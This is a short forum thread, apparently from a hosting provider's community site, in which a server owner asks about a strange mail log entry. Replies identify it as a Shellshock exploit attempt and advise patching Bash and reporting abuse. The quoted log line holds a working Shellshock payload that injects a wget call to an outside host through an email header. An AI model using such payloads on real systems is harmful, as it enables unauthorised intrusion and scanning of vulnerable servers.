My mail log for “nobody@[mydomain.com]” shows this for every field - “To:”, “Date:” - all fields. It is from a Chinese IP address. The IP address in the wget is a DigitalOcean address, and the second IP is my server. It appears to be a dead link at this point.
Subject:() { :; };wget http://104.131.141.12:443/vul/[my-ip-address]
Any ideas? I’m lost on the ’ { :; }; ’ - is there a mail function that will execute the wget?

That looks like someone trying to exploit the Shellshock vulnerability on your droplet. Your droplet might be vulnerable if it’s running an older version of Bash. Take a look at How to Protect your Server Against the Shellshock Bash Vulnerability | DigitalOcean and make sure that your server is up to date, then you should have nothing to worry about :)
Can you please send an email to abuse@digitalocean.com with a bit more details and a snippet of your mail log (excluding unrelated emails)? Thanks!
